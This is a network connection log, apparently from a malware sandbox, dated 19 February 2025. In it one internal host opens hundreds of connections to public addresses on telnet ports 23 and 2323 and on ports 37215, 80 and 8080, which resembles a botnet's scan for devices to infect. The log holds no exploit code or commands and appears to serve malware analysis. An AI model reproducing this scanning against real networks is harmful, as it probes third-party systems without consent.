Feb 19, 2025 19:43:17.000770092 CET	24754	23	192.168.2.13	71.8.148.236
Feb 19, 2025 19:43:17.000781059 CET	24754	23	192.168.2.13	152.73.171.62
Feb 19, 2025 19:43:17.000782013 CET	24754	23	192.168.2.13	175.59.214.26
Feb 19, 2025 19:43:17.000782013 CET	24754	2323	192.168.2.13	192.157.2.123
Feb 19, 2025 19:43:17.000785112 CET	24754	23	192.168.2.13	116.213.4.1
Feb 19, 2025 19:43:17.000787020 CET	24754	23	192.168.2.13	176.43.80.146
Feb 19, 2025 19:43:17.000787020 CET	24754	23	192.168.2.13	143.126.86.127
Feb 19, 2025 19:43:17.000787973 CET	24754	23	192.168.2.13	67.110.209.10
Feb 19, 2025 19:43:17.000788927 CET	24754	23	192.168.2.13	216.250.139.44
Feb 19, 2025 19:43:17.000788927 CET	24754	23	192.168.2.13	206.186.81.202
Feb 19, 2025 19:43:17.000794888 CET	24754	23	192.168.2.13	131.81.183.8
Feb 19, 2025 19:43:17.000807047 CET	24754	23	192.168.2.13	157.157.27.102
Feb 19, 2025 19:43:17.000807047 CET	24754	2323	192.168.2.13	114.66.125.188
Feb 19, 2025 19:43:17.000808001 CET	24754	23	192.168.2.13	104.117.25.227
Feb 19, 2025 19:43:17.000808001 CET	24754	23	192.168.2.13	218.195.105.199
Feb 19, 2025 19:43:17.000809908 CET	24754	23	192.168.2.13	128.204.171.28
Feb 19, 2025 19:43:17.000809908 CET	24754	23	192.168.2.13	54.117.152.250
Feb 19, 2025 19:43:17.000809908 CET	24754	23	192.168.2.13	210.179.52.25
Feb 19, 2025 19:43:17.000809908 CET	24754	23	192.168.2.13	190.148.53.151
Feb 19, 2025 19:43:17.000813007 CET	24754	23	192.168.2.13	211.216.114.80
Feb 19, 2025 19:43:17.000813007 CET	24754	23	192.168.2.13	199.15.116.200
Feb 19, 2025 19:43:17.000827074 CET	24754	23	192.168.2.13	71.18.143.21
Feb 19, 2025 19:43:17.000827074 CET	24754	23	192.168.2.13	209.217.95.221
Feb 19, 2025 19:43:17.000832081 CET	24754	23	192.168.2.13	183.69.246.60
Feb 19, 2025 19:43:17.000832081 CET	24754	23	192.168.2.13	164.208.31.10
Feb 19, 2025 19:43:17.000827074 CET	24754	23	192.168.2.13	216.67.129.105
Feb 19, 2025 19:43:17.000828981 CET	24754	23	192.168.2.13	212.236.117.134
Feb 19, 2025 19:43:17.000833035 CET	24754	23	192.168.2.13	198.38.172.111
Feb 19, 2025 19:43:17.000834942 CET	24754	23	192.168.2.13	121.168.144.104
Feb 19, 2025 19:43:17.000834942 CET	24754	23	192.168.2.13	61.243.60.51
Feb 19, 2025 19:43:17.000833035 CET	24754	23	192.168.2.13	167.98.150.91
Feb 19, 2025 19:43:17.000833035 CET	24754	23	192.168.2.13	134.77.195.216
Feb 19, 2025 19:43:17.000833035 CET	24754	23	192.168.2.13	168.123.62.123
Feb 19, 2025 19:43:17.000833988 CET	24754	23	192.168.2.13	39.247.172.116
Feb 19, 2025 19:43:17.000840902 CET	24754	23	192.168.2.13	38.193.178.168
Feb 19, 2025 19:43:17.000843048 CET	24754	23	192.168.2.13	144.118.70.37
Feb 19, 2025 19:43:17.000843048 CET	24754	23	192.168.2.13	159.158.105.90
Feb 19, 2025 19:43:17.000847101 CET	24754	23	192.168.2.13	154.165.149.196
Feb 19, 2025 19:43:17.000849962 CET	24754	23	192.168.2.13	166.4.170.25
Feb 19, 2025 19:43:17.000849962 CET	24754	2323	192.168.2.13	81.18.46.246
Feb 19, 2025 19:43:17.000859976 CET	24754	2323	192.168.2.13	18.49.243.248
Feb 19, 2025 19:43:17.000873089 CET	24754	23	192.168.2.13	23.24.201.237
Feb 19, 2025 19:43:17.000874996 CET	24754	23	192.168.2.13	168.17.249.164
Feb 19, 2025 19:43:17.000875950 CET	24754	23	192.168.2.13	63.62.156.3
Feb 19, 2025 19:43:17.000875950 CET	24754	23	192.168.2.13	92.29.155.140
Feb 19, 2025 19:43:17.000879049 CET	24754	23	192.168.2.13	141.200.216.59
Feb 19, 2025 19:43:17.000879049 CET	24754	23	192.168.2.13	138.140.101.97
Feb 19, 2025 19:43:17.000879049 CET	24754	23	192.168.2.13	152.195.221.184
Feb 19, 2025 19:43:17.000879049 CET	24754	23	192.168.2.13	57.132.108.23
Feb 19, 2025 19:43:17.000883102 CET	24754	23	192.168.2.13	122.69.14.159
Feb 19, 2025 19:43:17.000885963 CET	24754	23	192.168.2.13	187.120.35.231
Feb 19, 2025 19:43:17.000886917 CET	24754	23	192.168.2.13	117.232.1.149
Feb 19, 2025 19:43:17.000886917 CET	24754	23	192.168.2.13	118.80.199.107
Feb 19, 2025 19:43:17.000886917 CET	24754	23	192.168.2.13	133.207.134.230
Feb 19, 2025 19:43:17.000916958 CET	24754	23	192.168.2.13	57.177.16.62
Feb 19, 2025 19:43:17.000916958 CET	24754	23	192.168.2.13	86.16.141.204
Feb 19, 2025 19:43:17.000916958 CET	24754	23	192.168.2.13	157.207.27.134
Feb 19, 2025 19:43:17.000917912 CET	24754	23	192.168.2.13	12.140.89.93
Feb 19, 2025 19:43:17.000917912 CET	24754	23	192.168.2.13	158.25.192.194
Feb 19, 2025 19:43:17.000919104 CET	24754	23	192.168.2.13	77.174.6.204
Feb 19, 2025 19:43:17.000916004 CET	24754	23	192.168.2.13	200.155.207.234
Feb 19, 2025 19:43:17.000919104 CET	24754	23	192.168.2.13	121.169.243.59
Feb 19, 2025 19:43:17.000921011 CET	24754	23	192.168.2.13	110.226.202.138
Feb 19, 2025 19:43:17.000921011 CET	24754	23	192.168.2.13	196.51.26.171
Feb 19, 2025 19:43:17.000921011 CET	24754	23	192.168.2.13	42.65.147.156
Feb 19, 2025 19:43:17.000921965 CET	24754	23	192.168.2.13	73.153.31.79
Feb 19, 2025 19:43:17.000921011 CET	24754	23	192.168.2.13	73.113.170.68
Feb 19, 2025 19:43:17.000921965 CET	24754	23	192.168.2.13	23.158.63.117
Feb 19, 2025 19:43:17.000942945 CET	24754	23	192.168.2.13	193.31.216.140
Feb 19, 2025 19:43:17.000942945 CET	24754	2323	192.168.2.13	23.91.227.12
Feb 19, 2025 19:43:17.000942945 CET	24754	23	192.168.2.13	157.132.221.154
Feb 19, 2025 19:43:17.000942945 CET	24754	2323	192.168.2.13	83.86.160.213
Feb 19, 2025 19:43:17.000943899 CET	24754	23	192.168.2.13	140.70.233.96
Feb 19, 2025 19:43:17.000942945 CET	24754	2323	192.168.2.13	103.9.59.110
Feb 19, 2025 19:43:17.000946045 CET	24754	23	192.168.2.13	200.110.33.192
Feb 19, 2025 19:43:17.000943899 CET	24754	23	192.168.2.13	204.113.77.226
Feb 19, 2025 19:43:17.000946045 CET	24754	23	192.168.2.13	19.219.223.89
Feb 19, 2025 19:43:17.000945091 CET	24754	23	192.168.2.13	99.59.118.67
Feb 19, 2025 19:43:17.000946045 CET	24754	23	192.168.2.13	38.156.163.231
Feb 19, 2025 19:43:17.000945091 CET	24754	23	192.168.2.13	43.34.196.241
Feb 19, 2025 19:43:17.000946045 CET	24754	23	192.168.2.13	122.87.74.207
Feb 19, 2025 19:43:17.000946045 CET	24754	23	192.168.2.13	59.229.88.204
Feb 19, 2025 19:43:17.000969887 CET	24754	2323	192.168.2.13	125.253.185.15
Feb 19, 2025 19:43:17.001292944 CET	80	37936	112.176.196.97	192.168.2.13
Feb 19, 2025 19:43:17.001334906 CET	37936	80	192.168.2.13	112.176.196.97
Feb 19, 2025 19:43:17.001777887 CET	34672	37215	192.168.2.13	41.58.178.23
Feb 19, 2025 19:43:17.001948118 CET	36016	80	192.168.2.13	112.194.77.192
Feb 19, 2025 19:43:17.003237009 CET	50116	37215	192.168.2.13	41.247.254.246
Feb 19, 2025 19:43:17.003446102 CET	59140	80	192.168.2.13	112.211.168.134
Feb 19, 2025 19:43:17.005073071 CET	48250	37215	192.168.2.13	41.194.36.134
Feb 19, 2025 19:43:17.005501986 CET	51364	80	192.168.2.13	112.76.6.67
Feb 19, 2025 19:43:17.007409096 CET	56672	37215	192.168.2.13	41.138.13.5
Feb 19, 2025 19:43:17.007623911 CET	36250	80	192.168.2.13	112.73.239.49
Feb 19, 2025 19:43:17.008693933 CET	58978	37215	192.168.2.13	41.62.16.240
Feb 19, 2025 19:43:17.009278059 CET	57478	80	192.168.2.13	112.11.65.56
Feb 19, 2025 19:43:17.010452986 CET	42690	37215	192.168.2.13	41.42.27.91
Feb 19, 2025 19:43:17.010757923 CET	55996	8080	192.168.2.13	94.39.23.251
Feb 19, 2025 19:43:17.010763884 CET	45152	8080	192.168.2.13	95.46.115.183
Feb 19, 2025 19:43:17.010765076 CET	44810	8080	192.168.2.13	31.118.53.55
Feb 19, 2025 19:43:17.010766983 CET	37296	80	192.168.2.13	112.51.225.43
Feb 19, 2025 19:43:17.011864901 CET	51802	37215	192.168.2.13	41.122.238.73
Feb 19, 2025 19:43:17.012449980 CET	49644	80	192.168.2.13	112.66.83.94
Feb 19, 2025 19:43:17.013617039 CET	38864	37215	192.168.2.13	41.118.125.119
Feb 19, 2025 19:43:17.013624907 CET	37215	56672	41.138.13.5	192.168.2.13
Feb 19, 2025 19:43:17.013993025 CET	56672	37215	192.168.2.13	41.138.13.5
Feb 19, 2025 19:43:17.014231920 CET	35094	80	192.168.2.13	112.188.188.56
Feb 19, 2025 19:43:17.016871929 CET	47068	37215	192.168.2.13	41.101.255.176
Feb 19, 2025 19:43:17.017544985 CET	40842	80	192.168.2.13	112.22.40.180
Feb 19, 2025 19:43:17.019032955 CET	46220	37215	192.168.2.13	41.64.123.254
Feb 19, 2025 19:43:17.019902945 CET	49976	80	192.168.2.13	112.83.57.35
Feb 19, 2025 19:43:17.021878958 CET	37215	47068	41.101.255.176	192.168.2.13
Feb 19, 2025 19:43:17.021950006 CET	47068	37215	192.168.2.13	41.101.255.176
Feb 19, 2025 19:43:17.023688078 CET	47086	37215	192.168.2.13	41.241.9.200
Feb 19, 2025 19:43:17.026257992 CET	33424	80	192.168.2.13	112.12.26.230
Feb 19, 2025 19:43:17.027930021 CET	52376	37215	192.168.2.13	41.122.80.225
Feb 19, 2025 19:43:17.029562950 CET	49726	80	192.168.2.13	112.70.136.137
Feb 19, 2025 19:43:17.030205011 CET	56268	37215	192.168.2.13	41.41.234.11
Feb 19, 2025 19:43:17.032506943 CET	53004	80	192.168.2.13	112.212.25.130
Feb 19, 2025 19:43:17.032917023 CET	37215	52376	41.122.80.225	192.168.2.13
Feb 19, 2025 19:43:17.033288956 CET	52376	37215	192.168.2.13	41.122.80.225
Feb 19, 2025 19:43:17.034466028 CET	56024	37215	192.168.2.13	41.43.243.254
Feb 19, 2025 19:43:17.039870024 CET	37114	80	192.168.2.13	112.45.181.192
Feb 19, 2025 19:43:17.040955067 CET	37746	37215	192.168.2.13	41.241.169.74
Feb 19, 2025 19:43:17.044755936 CET	34162	80	192.168.2.13	112.187.192.161
Feb 19, 2025 19:43:17.045156956 CET	55888	37215	192.168.2.13	41.233.83.189
Feb 19, 2025 19:43:17.046602964 CET	80	37114	112.45.181.192	192.168.2.13
Feb 19, 2025 19:43:17.046684027 CET	37114	80	192.168.2.13	112.45.181.192
Feb 19, 2025 19:43:17.046782017 CET	36850	80	192.168.2.13	112.76.35.167
Feb 19, 2025 19:43:17.047162056 CET	37250	37215	192.168.2.13	41.17.151.184
Feb 19, 2025 19:43:17.049665928 CET	58210	80	192.168.2.13	112.137.4.185
Feb 19, 2025 19:43:17.049918890 CET	53048	37215	192.168.2.13	41.139.207.55
Feb 19, 2025 19:43:17.051670074 CET	39942	80	192.168.2.13	112.24.183.150
Feb 19, 2025 19:43:17.051984072 CET	45070	37215	192.168.2.13	41.149.82.29
Feb 19, 2025 19:43:17.054085970 CET	44534	80	192.168.2.13	112.166.151.222
Feb 19, 2025 19:43:17.054538965 CET	39624	37215	192.168.2.13	41.63.31.103
Feb 19, 2025 19:43:17.054927111 CET	80	58210	112.137.4.185	192.168.2.13
Feb 19, 2025 19:43:17.055002928 CET	58210	80	192.168.2.13	112.137.4.185
Feb 19, 2025 19:43:17.056704998 CET	36176	80	192.168.2.13	112.80.82.213
Feb 19, 2025 19:43:17.056925058 CET	55590	37215	192.168.2.13	41.93.245.46
Feb 19, 2025 19:43:17.058657885 CET	36998	37215	192.168.2.13	41.17.67.143
Feb 19, 2025 19:43:17.058909893 CET	44014	80	192.168.2.13	112.254.39.209
Feb 19, 2025 19:43:17.062035084 CET	80	36176	112.80.82.213	192.168.2.13
Feb 19, 2025 19:43:17.062098026 CET	40818	37215	192.168.2.13	41.244.238.5
Feb 19, 2025 19:43:17.062223911 CET	36176	80	192.168.2.13	112.80.82.213
Feb 19, 2025 19:43:17.062465906 CET	49246	80	192.168.2.13	112.87.119.220
Feb 19, 2025 19:43:17.064709902 CET	46180	37215	192.168.2.13	41.61.56.86
Feb 19, 2025 19:43:17.065156937 CET	49576	80	192.168.2.13	112.255.235.27
Feb 19, 2025 19:43:17.066745996 CET	44876	37215	192.168.2.13	41.240.87.4
Feb 19, 2025 19:43:17.067500114 CET	50516	80	192.168.2.13	112.136.93.211
Feb 19, 2025 19:43:17.068906069 CET	33532	37215	192.168.2.13	41.112.198.193
Feb 19, 2025 19:43:17.069441080 CET	46006	80	192.168.2.13	112.26.19.196
Feb 19, 2025 19:43:17.070919037 CET	42114	37215	192.168.2.13	41.232.80.4
Feb 19, 2025 19:43:17.071605921 CET	42850	80	192.168.2.13	112.95.175.223
Feb 19, 2025 19:43:17.072638035 CET	80	50516	112.136.93.211	192.168.2.13
Feb 19, 2025 19:43:17.072698116 CET	50516	80	192.168.2.13	112.136.93.211
Feb 19, 2025 19:43:17.073041916 CET	39428	37215	192.168.2.13	41.186.74.5
Feb 19, 2025 19:43:17.073236942 CET	35754	80	192.168.2.13	112.216.241.242
Feb 19, 2025 19:43:17.074747086 CET	40220	8080	192.168.2.13	62.253.28.231
Feb 19, 2025 19:43:17.074779034 CET	49918	8080	192.168.2.13	62.96.191.144
Feb 19, 2025 19:43:17.074785948 CET	49932	8080	192.168.2.13	95.231.13.167
Feb 19, 2025 19:43:17.074800968 CET	34288	8080	192.168.2.13	94.12.222.90
Feb 19, 2025 19:43:17.074805021 CET	59264	8080	192.168.2.13	85.123.84.241
Feb 19, 2025 19:43:17.075160027 CET	33148	37215	192.168.2.13	41.192.225.158
Feb 19, 2025 19:43:17.075428963 CET	42036	80	192.168.2.13	112.190.182.192
Feb 19, 2025 19:43:17.077374935 CET	45560	37215	192.168.2.13	41.67.130.238
Feb 19, 2025 19:43:17.077708006 CET	43752	80	192.168.2.13	112.123.54.157
Feb 19, 2025 19:43:17.079618931 CET	52956	37215	192.168.2.13	41.45.130.26
Feb 19, 2025 19:43:17.079904079 CET	40446	80	192.168.2.13	112.198.135.203
Feb 19, 2025 19:43:17.080929995 CET	80	42036	112.190.182.192	192.168.2.13
Feb 19, 2025 19:43:17.080992937 CET	42036	80	192.168.2.13	112.190.182.192
Feb 19, 2025 19:43:17.081984997 CET	49364	37215	192.168.2.13	41.133.191.146
Feb 19, 2025 19:43:17.082361937 CET	42678	80	192.168.2.13	112.130.225.137
Feb 19, 2025 19:43:17.084691048 CET	38358	37215	192.168.2.13	41.214.223.11
Feb 19, 2025 19:43:17.084990978 CET	43928	80	192.168.2.13	112.98.195.103
Feb 19, 2025 19:43:17.086565018 CET	59420	37215	192.168.2.13	41.251.60.162
Feb 19, 2025 19:43:17.087354898 CET	38202	80	192.168.2.13	112.237.229.98
Feb 19, 2025 19:43:17.088939905 CET	51470	37215	192.168.2.13	41.13.120.181
Feb 19, 2025 19:43:17.089329958 CET	43032	80	192.168.2.13	112.247.113.209
Feb 19, 2025 19:43:17.091059923 CET	35990	37215	192.168.2.13	41.112.192.140
Feb 19, 2025 19:43:17.092113972 CET	45458	80	192.168.2.13	112.108.113.231
Feb 19, 2025 19:43:17.092380047 CET	80	38202	112.237.229.98	192.168.2.13
Feb 19, 2025 19:43:17.092434883 CET	38202	80	192.168.2.13	112.237.229.98
Feb 19, 2025 19:43:17.093338966 CET	52928	37215	192.168.2.13	41.158.52.189
Feb 19, 2025 19:43:17.093868971 CET	37882	80	192.168.2.13	112.209.25.241
Feb 19, 2025 19:43:17.095439911 CET	39480	37215	192.168.2.13	41.165.238.250
Feb 19, 2025 19:43:17.096854925 CET	35992	37215	192.168.2.13	41.81.57.124
Feb 19, 2025 19:43:17.097865105 CET	57204	37215	192.168.2.13	41.67.91.133
Feb 19, 2025 19:43:17.098629951 CET	53016	37215	192.168.2.13	41.197.184.75
Feb 19, 2025 19:43:17.099734068 CET	40062	37215	192.168.2.13	41.131.14.252
Feb 19, 2025 19:43:17.100383043 CET	37215	39480	41.165.238.250	192.168.2.13
Feb 19, 2025 19:43:17.100430965 CET	39480	37215	192.168.2.13	41.165.238.250
Feb 19, 2025 19:43:17.100687027 CET	39364	37215	192.168.2.13	41.164.255.101
Feb 19, 2025 19:43:17.101667881 CET	55772	37215	192.168.2.13	41.50.61.235
Feb 19, 2025 19:43:17.102467060 CET	33402	37215	192.168.2.13	41.51.195.234
Feb 19, 2025 19:43:17.104773045 CET	43258	37215	192.168.2.13	41.131.178.121
Feb 19, 2025 19:43:17.106767893 CET	49552	8080	192.168.2.13	62.29.205.52
Feb 19, 2025 19:43:17.106771946 CET	49650	8080	192.168.2.13	31.112.63.147
Feb 19, 2025 19:43:17.106771946 CET	51304	8080	192.168.2.13	85.205.147.107
Feb 19, 2025 19:43:17.106771946 CET	45810	8080	192.168.2.13	31.170.230.220
Feb 19, 2025 19:43:17.106775999 CET	35234	8080	192.168.2.13	95.232.253.19
Feb 19, 2025 19:43:17.106775045 CET	52530	8080	192.168.2.13	95.200.152.156
Feb 19, 2025 19:43:17.106810093 CET	48426	8080	192.168.2.13	31.209.94.222
Feb 19, 2025 19:43:17.106837988 CET	47010	8080	192.168.2.13	94.197.65.67
Feb 19, 2025 19:43:17.106837988 CET	36816	8080	192.168.2.13	85.20.179.232
Feb 19, 2025 19:43:17.106837988 CET	52998	8080	192.168.2.13	95.128.1.164
Feb 19, 2025 19:43:17.106842995 CET	37034	8080	192.168.2.13	62.177.98.51
Feb 19, 2025 19:43:17.106842995 CET	50990	8080	192.168.2.13	31.159.99.162
Feb 19, 2025 19:43:17.106842995 CET	45450	8080	192.168.2.13	94.242.38.1
Feb 19, 2025 19:43:17.106842995 CET	45508	8080	192.168.2.13	31.216.11.167
Feb 19, 2025 19:43:17.106842995 CET	52290	8080	192.168.2.13	31.175.78.246
Feb 19, 2025 19:43:17.106842995 CET	52790	8080	192.168.2.13	62.91.151.8
Feb 19, 2025 19:43:17.106853962 CET	51860	8080	192.168.2.13	31.119.162.196
Feb 19, 2025 19:43:17.106856108 CET	58284	8080	192.168.2.13	85.29.98.39
Feb 19, 2025 19:43:17.111377001 CET	45820	80	192.168.2.13	112.194.236.164
Feb 19, 2025 19:43:17.112477064 CET	36070	80	192.168.2.13	112.1.68.79
Feb 19, 2025 19:43:17.113636017 CET	60744	80	192.168.2.13	112.247.93.252
Feb 19, 2025 19:43:17.114887953 CET	51708	80	192.168.2.13	112.180.141.136
Feb 19, 2025 19:43:17.115937948 CET	38762	80	192.168.2.13	112.23.8.163
Feb 19, 2025 19:43:17.116642952 CET	80	45820	112.194.236.164	192.168.2.13
Feb 19, 2025 19:43:17.116688013 CET	45820	80	192.168.2.13	112.194.236.164
Feb 19, 2025 19:43:17.116869926 CET	53944	80	192.168.2.13	112.208.3.41
Feb 19, 2025 19:43:17.117918015 CET	47590	80	192.168.2.13	112.63.57.244
Feb 19, 2025 19:43:17.118966103 CET	55864	80	192.168.2.13	112.47.162.190
Feb 19, 2025 19:43:17.119621038 CET	50446	37215	192.168.2.13	41.156.52.74
Feb 19, 2025 19:43:17.120507956 CET	39088	80	192.168.2.13	112.206.48.76
Feb 19, 2025 19:43:17.120970011 CET	80	38762	112.23.8.163	192.168.2.13
Feb 19, 2025 19:43:17.121007919 CET	38762	80	192.168.2.13	112.23.8.163
Feb 19, 2025 19:43:17.121211052 CET	48610	37215	192.168.2.13	41.10.53.160
Feb 19, 2025 19:43:17.122256994 CET	44748	80	192.168.2.13	112.59.210.34
Feb 19, 2025 19:43:17.123003960 CET	49056	37215	192.168.2.13	41.242.77.114
Feb 19, 2025 19:43:17.124226093 CET	37118	80	192.168.2.13	112.180.178.145
Feb 19, 2025 19:43:17.124625921 CET	54428	37215	192.168.2.13	41.223.83.199
Feb 19, 2025 19:43:17.126055956 CET	49386	80	192.168.2.13	112.13.224.8
Feb 19, 2025 19:43:17.126867056 CET	34846	37215	192.168.2.13	41.228.205.237
Feb 19, 2025 19:43:17.128498077 CET	60708	80	192.168.2.13	112.92.192.205
Feb 19, 2025 19:43:17.129021883 CET	43028	37215	192.168.2.13	41.245.77.10
Feb 19, 2025 19:43:17.130664110 CET	49050	80	192.168.2.13	112.73.66.56
Feb 19, 2025 19:43:17.131468058 CET	54430	37215	192.168.2.13	41.22.235.81
Feb 19, 2025 19:43:17.132993937 CET	39368	80	192.168.2.13	112.31.165.73
Feb 19, 2025 19:43:17.133699894 CET	80	60708	112.92.192.205	192.168.2.13
Feb 19, 2025 19:43:17.133759975 CET	60708	80	192.168.2.13	112.92.192.205
Feb 19, 2025 19:43:17.133981943 CET	53982	37215	192.168.2.13	41.168.4.54
Feb 19, 2025 19:43:17.135274887 CET	57986	80	192.168.2.13	112.159.7.117
Feb 19, 2025 19:43:17.135981083 CET	48240	37215	192.168.2.13	41.43.128.137
Feb 19, 2025 19:43:17.137465954 CET	55900	80	192.168.2.13	112.46.50.149
Feb 19, 2025 19:43:17.138287067 CET	46116	37215	192.168.2.13	41.119.241.216
Feb 19, 2025 19:43:17.138737917 CET	40818	8080	192.168.2.13	94.49.76.210
Feb 19, 2025 19:43:17.138773918 CET	41686	8080	192.168.2.13	62.70.138.0
Feb 19, 2025 19:43:17.138772011 CET	45232	8080	192.168.2.13	62.93.13.13
Feb 19, 2025 19:43:17.138772011 CET	54176	8080	192.168.2.13	62.113.101.187
Feb 19, 2025 19:43:17.138782024 CET	33152	8080	192.168.2.13	31.184.184.115
Feb 19, 2025 19:43:17.138793945 CET	43836	8080	192.168.2.13	95.9.31.254
Feb 19, 2025 19:43:17.138794899 CET	33022	8080	192.168.2.13	94.104.17.69
Feb 19, 2025 19:43:17.138794899 CET	38170	8080	192.168.2.13	62.0.119.147
Feb 19, 2025 19:43:17.138798952 CET	36160	8080	192.168.2.13	94.74.231.247
Feb 19, 2025 19:43:17.138799906 CET	38996	8080	192.168.2.13	95.144.144.238
Feb 19, 2025 19:43:17.138809919 CET	38074	8080	192.168.2.13	62.109.240.116
Feb 19, 2025 19:43:17.138817072 CET	45026	8080	192.168.2.13	62.40.100.188
Feb 19, 2025 19:43:17.138870001 CET	37912	8080	192.168.2.13	95.25.141.130
Feb 19, 2025 19:43:17.138889074 CET	46900	8080	192.168.2.13	85.17.207.169
Feb 19, 2025 19:43:17.138921022 CET	58700	8080	192.168.2.13	31.109.196.205
Feb 19, 2025 19:43:17.138930082 CET	52192	8080	192.168.2.13	85.9.228.142
Feb 19, 2025 19:43:17.138935089 CET	55660	8080	192.168.2.13	94.214.185.93
Feb 19, 2025 19:43:17.138935089 CET	56498	8080	192.168.2.13	62.72.26.17
Feb 19, 2025 19:43:17.138963938 CET	54786	8080	192.168.2.13	95.77.135.176
Feb 19, 2025 19:43:17.138963938 CET	34856	8080	192.168.2.13	85.91.239.58
Feb 19, 2025 19:43:17.139771938 CET	58510	80	192.168.2.13	112.168.11.189
Feb 19, 2025 19:43:17.140517950 CET	54908	37215	192.168.2.13	41.243.208.66
Feb 19, 2025 19:43:17.141311884 CET	37215	48240	41.43.128.137	192.168.2.13
Feb 19, 2025 19:43:17.141427994 CET	48240	37215	192.168.2.13	41.43.128.137
Feb 19, 2025 19:43:17.142151117 CET	59294	80	192.168.2.13	112.120.184.173
Feb 19, 2025 19:43:17.142548084 CET	48502	37215	192.168.2.13	41.17.5.255
Feb 19, 2025 19:43:17.144273996 CET	50270	80	192.168.2.13	112.155.65.13
Feb 19, 2025 19:43:17.145132065 CET	36662	37215	192.168.2.13	41.14.9.199
Feb 19, 2025 19:43:17.146544933 CET	50534	80	192.168.2.13	112.191.37.41
Feb 19, 2025 19:43:17.147147894 CET	34440	37215	192.168.2.13	41.198.206.73
Feb 19, 2025 19:43:17.148915052 CET	41306	80	192.168.2.13	112.19.43.201
Feb 19, 2025 19:43:17.149161100 CET	53438	37215	192.168.2.13	41.188.17.219
Feb 19, 2025 19:43:17.151287079 CET	34178	37215	192.168.2.13	41.146.23.244
Feb 19, 2025 19:43:17.151596069 CET	33370	80	192.168.2.13	112.171.232.237
Feb 19, 2025 19:43:17.153249025 CET	36186	80	192.168.2.13	112.139.109.49
Feb 19, 2025 19:43:17.153346062 CET	34276	37215	192.168.2.13	41.149.130.238
Feb 19, 2025 19:43:17.153923035 CET	80	41306	112.19.43.201	192.168.2.13
Feb 19, 2025 19:43:17.153981924 CET	41306	80	192.168.2.13	112.19.43.201
Feb 19, 2025 19:43:17.155523062 CET	42818	37215	192.168.2.13	41.219.145.54
Feb 19, 2025 19:43:17.155680895 CET	35974	80	192.168.2.13	112.123.30.53
Feb 19, 2025 19:43:17.158068895 CET	36302	37215	192.168.2.13	41.35.141.166
Feb 19, 2025 19:43:17.158457994 CET	52888	80	192.168.2.13	112.198.68.168
Feb 19, 2025 19:43:17.160446882 CET	37215	42818	41.219.145.54	192.168.2.13
Feb 19, 2025 19:43:17.160531998 CET	47242	37215	192.168.2.13	41.179.145.95
Feb 19, 2025 19:43:17.160551071 CET	42818	37215	192.168.2.13	41.219.145.54
Feb 19, 2025 19:43:17.161422014 CET	41400	80	192.168.2.13	112.130.168.128
Feb 19, 2025 19:43:17.165334940 CET	57528	37215	192.168.2.13	41.251.91.84
Feb 19, 2025 19:43:17.166313887 CET	50506	80	192.168.2.13	112.87.69.255
Feb 19, 2025 19:43:17.170283079 CET	52010	80	192.168.2.13	112.20.171.23
Feb 19, 2025 19:43:17.170739889 CET	48812	8080	192.168.2.13	31.58.154.178
Feb 19, 2025 19:43:17.170759916 CET	54322	8080	192.168.2.13	31.168.9.149
Feb 19, 2025 19:43:17.170759916 CET	40972	8080	192.168.2.13	95.94.210.210
Feb 19, 2025 19:43:17.170766115 CET	35274	8080	192.168.2.13	85.68.221.252
Feb 19, 2025 19:43:17.170766115 CET	52574	8080	192.168.2.13	94.94.79.92
Feb 19, 2025 19:43:17.170766115 CET	48974	8080	192.168.2.13	62.71.218.90
Feb 19, 2025 19:43:17.170766115 CET	37834	8080	192.168.2.13	31.208.26.227
Feb 19, 2025 19:43:17.170768976 CET	49116	8080	192.168.2.13	62.75.60.109
Feb 19, 2025 19:43:17.170770884 CET	58548	8080	192.168.2.13	85.155.229.171
Feb 19, 2025 19:43:17.170773029 CET	54954	8080	192.168.2.13	31.18.31.131
Feb 19, 2025 19:43:17.170775890 CET	55262	8080	192.168.2.13	85.134.180.229
Feb 19, 2025 19:43:17.170775890 CET	44844	8080	192.168.2.13	85.254.42.153
Feb 19, 2025 19:43:17.170775890 CET	33596	8080	192.168.2.13	95.126.6.39
Feb 19, 2025 19:43:17.170788050 CET	56486	8080	192.168.2.13	95.48.196.40
Feb 19, 2025 19:43:17.170788050 CET	43882	8080	192.168.2.13	31.195.227.26
Feb 19, 2025 19:43:17.170789957 CET	35974	8080	192.168.2.13	62.190.17.29
Feb 19, 2025 19:43:17.170793056 CET	60374	8080	192.168.2.13	95.74.50.30
Feb 19, 2025 19:43:17.170794964 CET	43000	8080	192.168.2.13	85.91.154.202
Feb 19, 2025 19:43:17.170794964 CET	51752	8080	192.168.2.13	95.118.184.198
Feb 19, 2025 19:43:17.170797110 CET	33058	8080	192.168.2.13	62.27.214.81
Feb 19, 2025 19:43:17.170797110 CET	42040	8080	192.168.2.13	95.109.12.85
Feb 19, 2025 19:43:17.170797110 CET	41420	8080	192.168.2.13	85.19.126.125
Feb 19, 2025 19:43:17.170794964 CET	41902	8080	192.168.2.13	94.18.59.20
Feb 19, 2025 19:43:17.170797110 CET	34332	8080	192.168.2.13	85.28.1.187
Feb 19, 2025 19:43:17.170799017 CET	39998	8080	192.168.2.13	94.36.161.68
Feb 19, 2025 19:43:17.170794964 CET	35436	8080	192.168.2.13	85.31.104.118
Feb 19, 2025 19:43:17.170799017 CET	54316	8080	192.168.2.13	62.142.253.227
Feb 19, 2025 19:43:17.170799017 CET	47584	8080	192.168.2.13	94.19.167.73
Feb 19, 2025 19:43:17.170799017 CET	56428	8080	192.168.2.13	95.50.71.168
Feb 19, 2025 19:43:17.170799017 CET	51936	8080	192.168.2.13	94.50.15.228
Feb 19, 2025 19:43:17.170808077 CET	59136	8080	192.168.2.13	31.186.47.21
Feb 19, 2025 19:43:17.170819044 CET	53418	37215	192.168.2.13	41.169.197.93
Feb 19, 2025 19:43:17.170819044 CET	34444	8080	192.168.2.13	31.24.132.254
Feb 19, 2025 19:43:17.170819044 CET	54418	8080	192.168.2.13	62.124.56.11
Feb 19, 2025 19:43:17.170819044 CET	46622	8080	192.168.2.13	31.103.100.85
Feb 19, 2025 19:43:17.170819044 CET	34942	8080	192.168.2.13	94.242.29.121
Feb 19, 2025 19:43:17.170819998 CET	46496	8080	192.168.2.13	85.101.211.21
Feb 19, 2025 19:43:17.170819998 CET	40756	8080	192.168.2.13	85.189.72.129
Feb 19, 2025 19:43:17.170819998 CET	40090	8080	192.168.2.13	31.70.187.9
Feb 19, 2025 19:43:17.170828104 CET	34938	8080	192.168.2.13	85.116.84.78
Feb 19, 2025 19:43:17.170830011 CET	47164	8080	192.168.2.13	62.100.38.145
